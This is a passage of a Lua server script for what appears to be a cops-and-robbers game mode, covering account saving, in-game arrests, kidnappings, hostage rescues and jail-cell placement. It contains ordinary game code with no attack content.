setElementData(source, "Bank", 0)
else
setElementData(source, "Bank", pbank)
end
--[[if not getElementData(source, "Scores") then
setElementData(source, "Scores", 0)
end
if not getElementData(source, "Money") then
setElementData(source, "Money", 0)
end
if not getElementData(source, "Stats") then
setElementData(source, "Stats", 0)
end
if not getElementData(source, "WantLvl") then
setElementData(source, "WantLvl", 0)
end
if not getElementData(source, "MBail") then
setElementData(source, "MBail", 0)
end
if not getElementData(source, "Secs") then
setElementData(source, "Secs", 0)
end
if not getElementData(source, "Mins") then
setElementData(source, "Mins", 0)
end
if not getElementData(source, "Language") then
setElementData(source, "Language", 0)
end
if not getElementData(source, "GLA") then
setElementData(source, "GLA", 0)
end
if not getElementData(source, "ES") then
setElementData(source, "ES", 0)
end
if not getElementData(source, "KidH") then
setElementData(source, "KidH", 0)
end
if not getElementData(source, "Job") then
setElementData(source, "Job", 1)
end
if not getElementData(source, "DLP") then
setElementData(source, "DLP", 0)
end
if not getElementData(source, "SDG") then
setElementData(source, "SDG", 0)
end
if not getElementData(source, "MDG") then
setElementData(source, "MDG", 0)
end
if not getElementData(source, "EDG") then
setElementData(source, "EDG", 0)
end
if not getElementData(source, "Hits") then
setElementData(source, "Hits", 0)
end
]]
if not pwa8 then
pwa8 = 0
elseif pwa8 > 4 then
pwa8 = 4
end
setElementData(source, "WP2", pwp2)
setElementData(source, "WP3", pwp3)
setElementData(source, "WP4", pwp4)
setElementData(source, "WP5", pwp5)
setElementData(source, "WP6", pwp6)
setElementData(source, "WP7", pwp7)
setElementData(source, "WP8", pwp8)
setElementData(source, "WP11", pwp11)
setElementData(source, "WP12", pwp12)
setElementData(source, "WA2", pwa2)
setElementData(source, "WA3", pwa3)
setElementData(source, "WA4", pwa4)
setElementData(source, "WA5", pwa5)
setElementData(source, "WA6", pwa6)
setElementData(source, "WA7", pwa7)
setElementData(source, "WA8", pwa8)
setElementData(source, "WA11", pwa11)
setElementData(source, "WA12", pwa12)
setElementData(source, "WantLvl", pwtlv)
setAccountData(theCurrentAccount, "ADmoney", 0)
else
setElementData(source, "Money", 2000)
setAccountData(theCurrentAccount, "AWP2", 23)
setAccountData(theCurrentAccount, "AWP3", 25)
setAccountData(theCurrentAccount, "AWP4", 0)
setAccountData(theCurrentAccount, "AWP5", 0)
setAccountData(theCurrentAccount, "AWP6", 0)
--setAccountData(theCurrentAccount, "AWP7", 0)
setAccountData(theCurrentAccount, "AWP8", 0)
setAccountData(theCurrentAccount, "AWP11", 0)
--setAccountData(theCurrentAccount, "AWP12", 0)
setAccountData(theCurrentAccount, "AWA2", 51)
setAccountData(theCurrentAccount, "AWA3", 50)
setAccountData(theCurrentAccount, "AWA4", 0)
setAccountData(theCurrentAccount, "AWA5", 0)
setAccountData(theCurrentAccount, "AWA6", 0)
--setAccountData(theCurrentAccount, "AWA7", 0)
setAccountData(theCurrentAccount, "AWA8", 0)
setAccountData(theCurrentAccount, "AWA11", 0)
--setAccountData(theCurrentAccount, "AWA12", 0)
setAccountData(theCurrentAccount, "ADmoney", 0)
setAccountData(theCurrentAccount, "ABank", 0)
end
end
function saveAccount(source)
--outputDebugString("server: saveAccount")
account = getPlayerAccount(source)
if account then
if getElementData(source, "Rob") then
setAccountData(account, "ADmoney", getElementData(source, "Money")-getElementData(source, "Rob"))
if getAccountData(account, "ADmoney") < 0 then
setAccountData(account, "ABank", getElementData(source, "Bank")+getAccountData(account, "ADmoney"))
setAccountData(account, "ADmoney", 0)
else
setAccountData(account, "ABank", getElementData(source, "Bank"))
end
else
setAccountData(account, "ADmoney", getAccountData(account, "ADmoney")+getElementData(source, "Money"))
setAccountData(account, "ABank", getElementData(source, "Bank"))
end
setAccountData(account, "AScores", getElementData(source, "Scores"))
setAccountData(account, "AStats", getElementData(source, "Stats"))
setAccountData(account, "AWantLvl", getElementData(source, "WantLvl"))
setAccountData(account, "AMBAIL", getElementData(source, "MBail"))
setAccountData(account, "ASecs", getElementData(source, "Secs"))
setAccountData(account, "AMins", getElementData(source, "Mins"))
setAccountData(account, "AES", getElementData(source, "ES"))
setAccountData(account, "AGLA", getElementData(source, "GLA"))
setAccountData(account, "ALanguage", getElementData(source, "Language"))
setAccountData(account, "PArmor", getPedArmor(source))
setAccountData(account, "ATBan", getElementData(source, "TBan"))
--setAccountData(account, "AKidA", getElementData(source, "KidA"))
setAccountData(account, "AJob", getElementData(source, "Job"))
setAccountData(account, "ADLP", getElementData(source, "DLP"))
setAccountData(account, "AKidH", getElementData(source, "KidH"))
setAccountData(account, "AKid", getElementData(source, "Kid"))
setAccountData(account, "ASDG", getElementData(source, "SDG"))
setAccountData(account, "AMDG", getElementData(source, "MDG"))
setAccountData(account, "AEDG", getElementData(source, "EDG"))
setAccountData(account, "AHit", getElementData(source, "Hits"))
if getElementData(source, "Alive") then
setAccountData(account, "AWP2", getPedWeapon(source, 2))
setAccountData(account, "AWP3", getPedWeapon(source, 3))
setAccountData(account, "AWP4", getPedWeapon(source, 4))
setAccountData(account, "AWP5", getPedWeapon(source, 5))
setAccountData(account, "AWP6", getPedWeapon(source, 6))
--setAccountData(account, "AWP7", getPedWeapon(source, 7))
setAccountData(account, "AWP8", getPedWeapon(source, 8))
setAccountData(account, "AWP11", getPedWeapon(source, 11))
--setAccountData(account, "AWP12", getPedWeapon(source, 12))
setAccountData(account, "AWA2", getPedTotalAmmo(source, 2))
setAccountData(account, "AWA3", getPedTotalAmmo(source, 3))
setAccountData(account, "AWA4", getPedTotalAmmo(source, 4))
setAccountData(account, "AWA5", getPedTotalAmmo(source, 5))
setAccountData(account, "AWA6", getPedTotalAmmo(source, 6))
--setAccountData(account, "AWA7", getPedTotalAmmo(source, 7))
setAccountData(account, "AWA8", getPedTotalAmmo(source, 8))
setAccountData(account, "AWA11", getPedTotalAmmo(source, 11))
--setAccountData(account, "AWA12", getPedTotalAmmo(source, 12))
else
setAccountData(account, "AWP2", getElementData(source, "WP2"))
setAccountData(account, "AWP3", getElementData(source, "WP3"))
setAccountData(account, "AWP4", getElementData(source, "WP4"))
setAccountData(account, "AWP5", getElementData(source, "WP5"))
setAccountData(account, "AWP6", getElementData(source, "WP6"))
--setAccountData(account, "AWP7", getElementData(source, "WP7"))
setAccountData(account, "AWP8", getElementData(source, "WP8"))
setAccountData(account, "AWP11", getElementData(source, "WP11"))
--setAccountData(account, "AWP12", getElementData(source, "WP12"))
setAccountData(account, "AWA2", getElementData(source, "WA2"))
setAccountData(account, "AWA3", getElementData(source, "WA3"))
setAccountData(account, "AWA4", getElementData(source, "WA4"))
setAccountData(account, "AWA5", getElementData(source, "WA5"))
setAccountData(account, "AWA6", getElementData(source, "WA6"))
--setAccountData(account, "AWA7", getElementData(source, "WA7"))
setAccountData(account, "AWA8", getElementData(source, "WA8"))
setAccountData(account, "AWA11", getElementData(source, "WA11"))
--setAccountData(account, "AWA12", getElementData(source, "WA12"))
end
if getElementData(source, "Stats") == 2 then
setAccountData(account, "AStats", 3)
setAccountData(account, "AWantLvl", 0)
elseif getElementData(source, "WantLvl") > 2 --[[and sps]] and not getElementData(source, "Kid") then
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police and getElementData(source, "WantLvl") > 2 then
ax, ay, az = getElementPosition(source)
cx, cy, cz = getElementPosition(players)
dist = getDistanceBetweenPoints3D(ax, ay, az, cx, cy, cz)
if dist < 60 then
--Mplayer = players
--reward = swtlv*200
--rscore = false
--triggerClientEvent(players, "GPM", players, Mplayer, reward, rscore)
setElementData(players, "Money", getElementData(players, "Money")+(getElementData(source, "WantLvl")*200))
setAccountData(account, "AStats", 3)
setAccountData(account, "AWantLvl", 0)
end
end
end
else
if getElementData(source, "Stats") < 2 then
setAccountData(account, "AStats", 0)
else
setAccountData(account, "AStats", getElementData(source, "Stats"))
end
setAccountData(account, "AWantLvl", getElementData(source, "WantLvl"))
end
end
--sps = false
end
--[[addEvent("BAL", true)
function ball(btx, bty, btz, btr, model, team)
--outputDebugString("server: ball")
spawnPlayer(source, btx, bty, btz, btr, model, 0, 0, team)
end
addEventHandler("BAL", getRootElement(), ball)
addEvent("GRO", true)
function grov(gtx, gty, gtz, gtr, model, team)
--outputDebugString("server: grov")
spawnPlayer(source, gtx, gty, gtz, gtr, model, 0, 0, team)
end
addEventHandler("GRO", getRootElement(), grov)
addEvent("VAG", true)
function vago(vtx, vty, vtz, vtr, model, team)
--outputDebugString("server: vago")
spawnPlayer(source, vtx, vty, vtz, vtr, model, 0, 0, team)
end
addEventHandler("VAG", getRootElement(), vago)
addEvent("AZT", true)
function azte(atx, aty, atz, atr, model, team)
--outputDebugString("server: azte")
spawnPlayer(source, atx, aty, atz, atr, model, 0, 0, team)
end
addEventHandler("AZT", getRootElement(), azte)
addEvent("POL", true)
function poli(ptx, pty, ptz, ptr, model, team)
--outputDebugString("server: poli")
spawnPlayer(source, ptx, pty, ptz, ptr, model, 0, 0, team)
end
addEventHandler("POL", getRootElement(), poli)]]
addEvent("MDC", true)
function medi(mtx, mty, mtz, mtr, model, team)
--outputDebugString("server: medic")
spawnPlayer(source, mtx, mty, mtz, mtr, model, 0, 0, team)
exports["guimessages"]:outputServer(source, "You Are Medic | Heal other players to earn Money!", 0, 255, 255)
exports["guimessages"]:outputServer(source, "You can create medic marker by command /medic.", 255, 50, 150)
for i = 1, 5 do
giveWeapon(source, 41, 9999, true)
end
setTimer(setCameraTarget, 50, 1, source)
end
addEventHandler("MDC", getRootElement(), medi)
addEvent("NOT", true)
function noTeam(ntx, nty, ntz, ntr, model, team)
--outputDebugString("server: noTeam")
spawnPlayer(source, ntx, nty, ntz, ntr, model, 0, 0, team)
end
addEventHandler("NOT", getRootElement(), noTeam)
--[[addEvent("STSW", true)
function FTSW(aplayer)
--outputDebugString("server: FTSW")
takeWeaponAmmo(aplayer, getPedWeapon(aplayer, 8), 1)
pseat = getPedOccupiedVehicleSeat(aplayer)
triggerClientEvent("CTSW", aplayer, aplayer)
for _, players in ipairs(getElementsByType("player")) do
if aplayer == players then
else
triggerClientEvent("CTSWA", players, aplayer, pseat)
end
end
end
addEventHandler("STSW", getRootElement(), FTSW)]]
gbm = {}
---------------------------------------------------------------
addEvent("anim", true)
function ani(source)
--outputDebugString("server: ani")
triggerClientEvent("Canim", getRootElement(), source)
end
addEventHandler("anim", getRootElement(), ani)
addEvent("anim2", true)
function ani2(source)
--outputDebugString("server: ani2")
triggerClientEvent("Canim2", getRootElement(), source)
end
addEventHandler("anim2", getRootElement(), ani2)
addEvent("arresting", true)
function ARRESTSTYLE(source, cop)
--outputDebugString("server: ARRESTSTYLE")
if getElementData(source, "Stats") < 2 and getElementData(cop, "Stats") < 2 and getElementHealth(source) > 0 and getElementHealth(cop) > 0 then
setElementData(cop, "Prisoners", 1)
setPedWeaponSlot(source, 0)
if getPlayerTeam(cop) == Police then
if rbp == source then
x, y, z = getElementPosition(source)
z = z-1
FDBFR(x, y, z)
end
triggerClientEvent("Tcheckntf", source, 'r', 'kd', 'r', ybktext[source]..' '..getPlayerName(cop), source)
triggerClientEvent("Tcheckntf", cop, 'g', 'kd', 'g', yhktext[cop]..' '..getPlayerName(source), cop)
exports["guimessages"]:outputServer(source, ar1text[source]..''..getPlayerName(cop)..''..ar2text[source], 255, 0, 0)
exports["guimessages"]:outputServer(cop, car1text[cop]..''..getPlayerName(source)..''..car2text[cop], 0, 0, 255)
triggerClientEvent("Tcheckntf", source, 'r', 'hc', 'r', ar1text[source]..''..getPlayerName(cop)..''..ar2text[source], source)
triggerClientEvent("Tcheckntf", cop, 'g', 'hc', 'g', car1text[cop]..''..getPlayerName(source)..''..car2text[cop], cop)
toggleControl(source, "fire", false)
toggleControl(source, "jump", false)
toggleControl(source, "next_weapon", false)
toggleControl(source, "previous_weapon", false)
--theprisoner = source
setElementData(source, "Stats", 2)
triggerClientEvent("UTWPTJ", cop, cop)
setPedFightingStyle(source, 16)
ARS = math.random(1, 2)
if ARS == 1 then
setTimer(triggerClientEvent, 3000, 1, "FOL", source, cop, source)
setTimer(triggerClientEvent, 3000, 1, "TWPTJ", cop, cop, source)
else
setTimer(triggerClientEvent, 5000, 1, "FOL", source, cop, source)
setTimer(triggerClientEvent, 5000, 1, "TWPTJ", cop, cop, source)
end
else
if rbp == source then
FDBFR()
end
exports["guimessages"]:outputServer(source, ybktext[source]..' '..getPlayerName(cop), 255, 0, 0)
exports["guimessages"]:outputServer(cop, yhktext[cop]..' '..getPlayerName(source), 255, 125, 0)
setElementData(source, "Stats", 4)
setElementFrozen(source,false) --@holsten to fix bug if he was in marker
--kwl = getElementData(cop, "WantLvl")
if getElementData(cop, "WantLvl") < 3 then
if getPlayerTeam(source) == Police then
setElementData(cop, "WantLvl", 4)
else
setElementData(cop, "WantLvl", 3)
end
end
--kidnapper[cop] = source
setElementData(cop, "WantLvl", getElementData(cop, "WantLvl"))
setElementData(bag, getPlayerName(cop), getPlayerAccount(cop))
setElementData(source, "KidH", math.random(1, 3))
setElementData(source, "Kid", getPlayerName(cop))
end
--acop = cop
triggerClientEvent("ARanim", getRootElement(), source, cop, ARS)
triggerClientEvent("clienAR", getRootElement(source, cop), source, cop)
end
end
addEventHandler("arresting", getRootElement(), ARRESTSTYLE)
addEvent("warp", true)
function wptv(player, cop)
--outputDebugString("server: wptv")
veh = getPedOccupiedVehicle(cop)
model = getElementModel(veh)
if getVehicleOccupant(veh, 2) == false then
warpPedIntoVehicle(player, veh, 2)
elseif getVehicleOccupant(veh, 3) == false then
warpPedIntoVehicle(player, veh, 3)
end
if isPedInVehicle(player) == false then
if getVehicleOccupant(veh, 1) == false then
warpPedIntoVehicle(player, veh, 1)
setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
end
else
setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
end
end
addEventHandler("warp", getRootElement(), wptv)
addEvent("unwarp", true)
function uwptv(player)
--outputDebugString("server: uwptv")
removePedFromVehicle(player)
setPedAnimation(player, "SWORD", "sword_block", 0, false, false, true, false)
end
addEventHandler("unwarp", getRootElement(), uwptv)
addEvent("WANTED", true)
function wantedlevel(suspect, WANLEV)
--outputDebugString("server: wantedlevel")
setElementData(suspect, "WantLvl", WANLEV)
end
addEventHandler("WANTED", getRootElement(), wantedlevel)
addEvent("escaped", true)
function NOTUAR(player, cop, block, anim)
--outputDebugString("server: NOTUAR")
if cop then
if getPlayerTeam(cop) == Police then
triggerClientEvent("UTWPTJ", cop)
end
setElementData(cop, "Prisoners", 0)
--setElementData(bag, getPlayerName(cop), false)
end
if player then
--block, anim = getPedAnimation(player)
if block == "ped" and anim == "cower" then
setPedAnimation(player, "SWORD", "sword_block", 1, false, false)
end
if getElementData(player, "Stats") > 3 then
setElementData(player, "Stats", 0)
toggleControl(player, "jump", true)
else
setElementData(player, "Stats", -1)
end
setElementData(source, "KidH", 0)
setElementData(source, "Kid", false)
end
if cop and player then
exports["guimessages"]:outputServer (player, esc1text[player]..''..getPlayerName(cop)..''..esc2text[player], 255, 255, 0)
exports["guimessages"]:outputServer (cop, cesc1text[cop]..''..getPlayerName(player)..''..cesc2text[cop], 255, 0, 0)
triggerClientEvent("Tcheckntf", player, 'y', 'ehc', 'y', esc1text[player]..''..getPlayerName(cop)..''..esc2text[player], player)
triggerClientEvent("Tcheckntf", cop, 'r', 'ehc', 'r', cesc1text[cop]..''..getPlayerName(player)..''..cesc2text[cop], cop)
if getPlayerTeam(cop) ~= Police then
triggerClientEvent("CKD", cop, cop)
end
end
end
addEventHandler("escaped", getRootElement(), NOTUAR)
addEvent("Kidnapped", true)
function FKidnapped(hitp, cop, knh)
if cop then
setElementData(cop, "Prisoners", 0)
--setElementData(bag, getPlayerName(cop), getPlayerAccount(cop))
--setElementData(hitp, "Kid", getPlayerName(cop))
setElementData(hitp, "KidH", knh)
end
if isPedDead(hitp) then
spawnPlayer(hitp, 0, 0, 0, 0, model, 0, 0, team)
if getTeamFromName("Medic") == team then
giveWeapon(hitp, 41, 999999)
giveWeapon(hitp, 41, 999999)
end
elseif isPedInVehicle(hitp) then
removePedFromVehicle(hitp)
end
triggerClientEvent("CKD", getRootElement(), cop, hitp)
knh = math.random(1,3)
if knh > 2 then
setElementData(hitp, "KidH",3)
setPedRotation(hitp, 90)
fadeCamera ( hitp, false, 1, 0, 0, 0 )
setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
setTimer ( function(hitp) setElementInterior(hitp, 1, 244, 305, 998.7) end , 1000 , 1, hitp )
knh = 3
elseif knh > 1 then
setElementData(hitp, "KidH",2)
fadeCamera ( hitp, false, 1, 0, 0, 0 )
setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
setTimer ( function(hitp) setElementInterior(hitp, 6, 344, 305, 998.7) end, 1000 , 1, hitp )
setPedRotation(hitp, 90)
knh = 2
elseif knh > 0 then
setElementData(hitp, "KidH",1)
fadeCamera ( hitp, false, 1, 0, 0, 0 )
setTimer ( fadeCamera, 1000, 1, hitp, true, 1 )
setTimer ( function(hitp) setElementInterior(hitp, 3, 293, 310, 998.7) end ,1000 , 1, hitp )
setPedRotation(hitp, 270)
knh = 1
end
knh = false
setElementDimension(hitp, 5)
end
addEventHandler("Kidnapped", getRootElement(), FKidnapped)
addEvent("WARNALLKD", true)
function FWARNALLKD()
for k,v in ipairs(getElementsByType("player")) do
if getElementData(v, "Job") == 3 then
exports["guimessages"]:outputServer(v, wrntext[v], 255, 0, 0)
exports["guimessages"]:outputServer(v, afhtext[v], 255, 0, 0)
end
end
end
addEventHandler("WARNALLKD", getRootElement(), FWARNALLKD)
addEvent("freeH", true)
function FfreeH(resc, hostage, rch)
--rew = 2000
--triggerClientEvent("GPM", hostage, hostage, rew)
--rew = -2000
--triggerClientEvent("GPM", resc, resc, rew)
if getPlayerTeam(resc) == Police then
triggerClientEvent("ResqRew", getRootElement(), rch, hostage)
else
setElementData(resc, "Money", getElementData(resc, "Money")-2000)
setElementData(resc, "Scores", getElementData(resc, "Scores")+2)
end
setElementData(hostage, "Money", getElementData(hostage, "Money")+2000)
triggerClientEvent("payR", hostage, hostage, resc)
end
addEventHandler("freeH", getRootElement(), FfreeH)
addEvent("freeK", true)
function FfreeK(player, cop, resc)
if resc then
if getPlayerTeam(resc) == Police then
exports["guimessages"]:outputServer(player, ybrtext[player], 0, 255, 0)
else
exports["guimessages"]:outputServer(player, getPlayerName(resc)..' '..hrytext[player], 0, 255, 0)
end
end
--rew = 2000
triggerClientEvent("freeP", player, player)
setElementDimension(player, 0)
setElementInterior(player, 0)
--if cop then
if getElementData(player, "Stats") > 3 then
if getPlayerFromName(getElementData(player, "Kid")) then
exports["guimessages"]:outputServer(getPlayerFromName(getElementData(player, "Kid")), efhtext[getPlayerFromName(getElementData(player, "Kid"))], 0, 255, 0)
--outputChatBox(efhtext[getPlayerFromName(getElementData(player, "Kid"))], getPlayerFromName(getElementData(player, "Kid")), 0, 255, 0)
setElementData(getPlayerFromName(getElementData(player, "Kid")), "Money", getElementData(getPlayerFromName(getElementData(player, "Kid")), "Money")+2000)
setElementData(getPlayerFromName(getElementData(player, "Kid")), "Scores", getElementData(getPlayerFromName(getElementData(player, "Kid")), "Scores")+2)
else
setAccountData(getElementData(bag, getElementData(player, "Kid")), "ADmoney", getAccountData(getElementData(bag, getElementData(player, "Kid")), "ADmoney")+2000)
setAccountData(getElementData(bag, getElementData(player, "Kid")), "AScores", getAccountData(getElementData(bag, getElementData(player, "Kid")), "AScores")+2)
end
setElementData(player, "Stats", 0)
end
--setElementData(bag, getElementData(player, "Kid"), false)
setElementData(player, "KidH", 0)
setElementData(player, "KidJ", false)
setElementData(player, "Kid", false)
setElementData(player, "protect", true)
end
addEventHandler("freeK", getRootElement(), FfreeK)
addEvent("REDAFS", true)
function FREDAFS(player)
--outputDebugString("server: FREDAFS")
--setElementData(player, "Stats", 0)
setPedFightingStyle(player, 15)
end
addEventHandler("REDAFS", getRootElement(), FREDAFS)
------------------------------------------------------------
j1 = createObject ( 2930, 1585.04, -1679.13, 1228, 0, 0, 270)
--c1 = createColSphere ( 1584.04, -1679.13, 1226.5, 2 )
j2 = createObject ( 2930, 1580.29, -1679.13, 1228, 0, 0, 270)
--c2 = createColSphere ( 1579.29, -1679.13, 1226.5, 2 )
j3 = createObject ( 2930, 1575.54, -1679.13, 1228, 0, 0, 270)
--c3 = createColSphere ( 1574.54, -1679.13, 1226.5, 2 )
j4 = createObject ( 2930, 1570.79, -1679.13, 1228, 0, 0, 270)
--c4 = createColSphere ( 1569.79, -1679.13, 1226.5, 2 )
j5 = createObject ( 2930, 1583.33, -1662.97, 1228, 0, 0, 90)
--c5 = createColSphere ( 1584.33, -1662.97, 1226.5, 2 )
j6 = createObject ( 2930, 1578.58, -1662.97, 1228, 0, 0, 90)
--c6 = createColSphere ( 1579.58, -1662.97, 1226.5, 2 )
j7 = createObject ( 2930, 1573.83, -1662.97, 1228, 0, 0, 90)
--c7 = createColSphere ( 1574.83, -1662.97, 1226.5, 2 )
j8 = createObject ( 2930, 1569.08, -1662.97, 1228, 0, 0, 90)
--c8 = createColSphere ( 1570.08, -1662.97, 1226.5, 2 )
------------------------------------------------------------
j9 = createObject ( 2930, 1588.84, -1679.13, 1232.2, 0, 0, 270)
--c9 = createColSphere ( 1587.84, -1679.13, 1230.7, 2 )
j10 = createObject ( 2930, 1584.08, -1679.13, 1232.2, 0, 0, 270)
--c10 = createColSphere ( 1583.08, -1679.13, 1230.7, 2 )
j11 = createObject ( 2930, 1579.34, -1679.13, 1232.2, 0, 0, 270)
--c11 = createColSphere ( 1578.34, -1679.13, 1230.7, 2 )
j12 = createObject ( 2930, 1574.56, -1679.13, 1232.2, 0, 0, 270)
--c12 = createColSphere ( 1573.56, -1679.13, 1230.7, 2 )
j13 = createObject ( 2930, 1569.8, -1679.13, 1232.2, 0, 0, 270)
--c13 = createColSphere ( 1568.8, -1679.13, 1230.7, 2 )
j14 = createObject ( 2930, 1565.09, -1679.13, 1232.2, 0, 0, 270)
--c14 = createColSphere ( 1564.09, -1679.13, 1230.7, 2 )
j15 = createObject ( 2930, 1560.34, -1679.13, 1232.2, 0, 0, 270)
--c15 = createColSphere ( 1559.34, -1679.13, 1230.7, 2 )
j16 = createObject ( 2930, 1587.13, -1662.97, 1232.2, 0, 0, 90)
--c16 = createColSphere ( 1588.13, -1662.97, 1230.7, 2 )
j17 = createObject ( 2930, 1582.37, -1662.97, 1232.2, 0, 0, 90)
--c17 = createColSphere ( 1583.39, -1662.97, 1230.7, 2 )
j18 = createObject ( 2930, 1577.61, -1662.97, 1232.2, 0, 0, 90)
--c18 = createColSphere ( 1578.61, -1662.97, 1230.7, 2 )
j19 = createObject ( 2930, 1572.85, -1662.97, 1232.2, 0, 0, 90)
--c19 = createColSphere ( 1573.85, -1662.97, 1230.7, 2 )
j20 = createObject ( 2930, 1568.09, -1662.97, 1232.2, 0, 0, 90)
--c20 = createColSphere ( 1568.09, -1662.97, 1230.7, 2 )
j21 = createObject ( 2930, 1563.33, -1662.97, 1232.2, 0, 0, 90)
--c21 = createColSphere ( 1564.33, -1662.97, 1230.7, 2 )
j22 = createObject ( 2930, 1558.57, -1662.97, 1232.2, 0, 0, 90)
--c22 = createColSphere ( 1559.57, -1662.97, 1230.7, 2 )
------------------------------------------------------------
j23 = createObject ( 2930, 1588.84, -1679.13, 1236.28, 0, 0, 270)
--c23 = createColSphere ( 1587.84, -1679.13, 1234.78, 2 )
j24 = createObject ( 2930, 1584.08, -1679.13, 1236.28, 0, 0, 270)
--c24 = createColSphere ( 1583.08, -1679.13, 1234.78, 2 )
j25 = createObject ( 2930, 1579.34, -1679.13, 1236.28, 0, 0, 270)
--c25 = createColSphere ( 1578.34, -1679.13, 1234.78, 2 )
j26 = createObject ( 2930, 1574.56, -1679.13, 1236.28, 0, 0, 270)
--c26 = createColSphere ( 1573.56, -1679.13, 1234.78, 2 )
j27 = createObject ( 2930, 1569.84, -1679.13, 1236.28, 0, 0, 270)
--c27 = createColSphere ( 1568.84, -1679.13, 1234.78, 2 )
j28 = createObject ( 2930, 1565.09, -1679.13, 1236.28, 0, 0, 270)
--c28 = createColSphere ( 1564.09, -1679.13, 1234.78, 2 )
j29 = createObject ( 2930, 1560.34, -1679.13, 1236.28, 0, 0, 270)
--c29 = createColSphere ( 1559.34, -1679.13, 1234.78, 2 )
j30 = createObject ( 2930, 1587.13, -1662.97, 1236.28, 0, 0, 90)
--c30 = createColSphere ( 1588.13, -1662.97, 1234.78, 2)
j31 = createObject ( 2930, 1582.37, -1662.97, 1236.28, 0, 0, 90)
--c31 = createColSphere ( 1583.39, -1662.97, 1234.78, 2)
j32 = createObject ( 2930, 1577.61, -1662.97, 1236.28, 0, 0, 90)
--c32 = createColSphere ( 1578.61, -1662.97, 1234.78, 2)
j33 = createObject ( 2930, 1572.85, -1662.97, 1236.28, 0, 0, 90)
--c33 = createColSphere ( 1573.85, -1662.97, 1234.78, 2)
j34 = createObject ( 2930, 1568.09, -1662.97, 1236.28, 0, 0, 90)
--c34 = createColSphere ( 1569.09, -1662.97, 1234.78, 2)
j35 = createObject ( 2930, 1563.33, -1662.97, 1236.28, 0, 0, 90)
--c35 = createColSphere ( 1564.33, -1662.97, 1234.78, 2)
j36 = createObject ( 2930, 1558.57, -1662.97, 1236.28, 0, 0, 90)
--c36 = createColSphere ( 1559.57, -1662.97, 1234.78, 2)
------------------------------------------------------------
rd = createObject ( 2949, 1557.477, -1662.7, 1225.39, 0, 0, 90)
--cr = createColSphere ( 1557.477, -1662.68, 1226.5, 2)
bd = createObject ( 975, 1586.33, -1670.51, 1227.07, 0, 0, 90)
--cb = createColSphere ( 1586.33, -1671.7, 1226.5, 3)
e1 = createObject ( 2930, 1589.56, -1675.17, 1228, 0, 0, 270)
--ce1 = createColSphere ( 1588.56, -1675.17, 1226.5, 1.6)
e2 = createObject ( 975, 1554.44, -1670.57, 1226.9, 0, 0, 270)
--ce2 = createColSphere ( 1554.45, -1671.15, 1226.5, 2)
--------------------------------------------------------------------------------------------------------
--oj = createColSphere(1597.2, -1662, 1226.5, 1)
--------------------------------------------------------------------------------------------------------
bgate = createObject(2634, 590.8, -1267.62, 1287.31, 0, 0, 270)
setElementInterior(bgate, 1)
--[[
bdc = createColSphere(591, -1267.6, 1286.3, 1)
rb1 = createColSphere(588.6, -1264.6, 1286.3, 1)
rb2 = createColSphere(584.7, -1264.6, 1286.3, 1)
rb3 = createColSphere(580.73, -1264.6, 1286.3, 1)
rb4 = createColSphere(576.8, -1264.6, 1286.3, 1)
rb5 = createColSphere(588.6, -1270.6, 1286.3, 1)
rb6 = createColSphere(584.7, -1270.6, 1286.3, 1)
rb7 = createColSphere(580.73, -1270.6, 1286.3, 1)
rb8 = createColSphere(576.8, -1270.6, 1286.3, 1)
]]
--------------------------------------------------------------------------------------------------------
for _, obs in ipairs(getElementsByType("object")) do
if getElementModel(obs) == 2930 or getElementModel(obs) == 2949 or getElementModel(obs) == 975 then
setElementInterior(obs, 1)
end
end
--------------------------------------------------------------------------------------------------------
--[[function PTOCAllJails()
--outputDebugString("server: PTOCAllJails")
if OAJ then
for _, players in ipairs(getElementsByType("player")) do
if getElementData(players, "Stats") > 2 then
outputChatBox(ebttext[players], players, 255, 0, 0, true)
end
end
else
for _, players in ipairs(getElementsByType("player")) do
if getElementData(players, "Stats") > 2 then
outputChatBox(sbttext[players], players, 255, 255, 0, true)
end
end
end
setTimer(OCAllJails, 30000, 1)
end
--setTimer(PTOCAllJails, 150000, 1)
--addCommandHandler("SPBTstartprisonersbreaktime", PTOCAllJails)]]--@--
-------------------------------------------------------------------------------------------------
--[[
jj = {}
ojj = {}
bbd = {}
ee1 = {}
dbank = {}
robbank = {}
]]
hlspdpc = {}
--[[
function BKOPS()
--outputDebugString("server: BKOPS")
if OAJ then
triggerClientEvent("COAJT", source)
end
end
addEventHandler("onPlayerSpawn", getRootElement(), BKOPS)
function bj1(CSH)
--outputDebugString("server: bj1")
if getElementType(source) == "player" then
if getPlayerTeam(source) == Police then
if CSH == cb then
bbd[source] = true
elseif CSH == ce1 then
ee1[source] = true
elseif CSH then
jj[source] = CSH
end
else
if CSH == oj then
ojj[source] = true
elseif CSH == bdc then
dbank[source] = true
elseif CSH then
robbank[source] = CSH
end
end
end
end
addEventHandler("onElementColShapeHit", getRootElement(), bj1)
function unbj1(CSL)
--outputDebugString("server: unbj1")
if CSL == cb then
bbd[source] = false
elseif CSL == ce1 then
ee1[source] = false
elseif CSL == oj then
if hlspdpc[source] then
outputChatBox(fhptext[source], source, 255, 0, 0)
killTimer(hlspdpc[source])
hlspdpc[source] = nil
end
ojj[source] = false
elseif CSL then
jj[source] = false
end
if CSL == bdc then
dbank[source] = false
if rbp == source and not str then
player = source
FTRB(player)
end
elseif CSL then
robbank[source] = false
end
end
addEventHandler("onElementColShapeLeave", getRootElement(), unbj1)
]]
addEvent("HPCF", true)
function FHPCF()
if hlspdpc[source] then
hlspdpc[source] = false
setPedAnimation(source, false)
setElementFrozen(source, false)
if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
triggerClientEvent(source, "onHackPc", source, false)
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police or players == source then
triggerClientEvent("Tcheckntf", players, 'r', 'hack', 'r', fhptext[players], players)
exports["guimessages"]:outputServer(players, fhptext[players], 255, 0, 0)
end
end
end
end
addEventHandler("HPCF", getRootElement(), FHPCF)
robank = false
bag = createObject(1550, 0, 0, 0)
rul = createObject(1872, 0, 0, 0)
setElementDoubleSided(bag, true)
setElementDoubleSided(rul, true)
--@--setElementData(bag, "Wrestlers", 0)
setElementData(bag, "HAC", 1)
setElementData(bag, "WAC", 1)
addEvent("TOCJ", true)
function OCJ(player, bbd, ee1, jj, ojj, dbank, robbank, bagm)
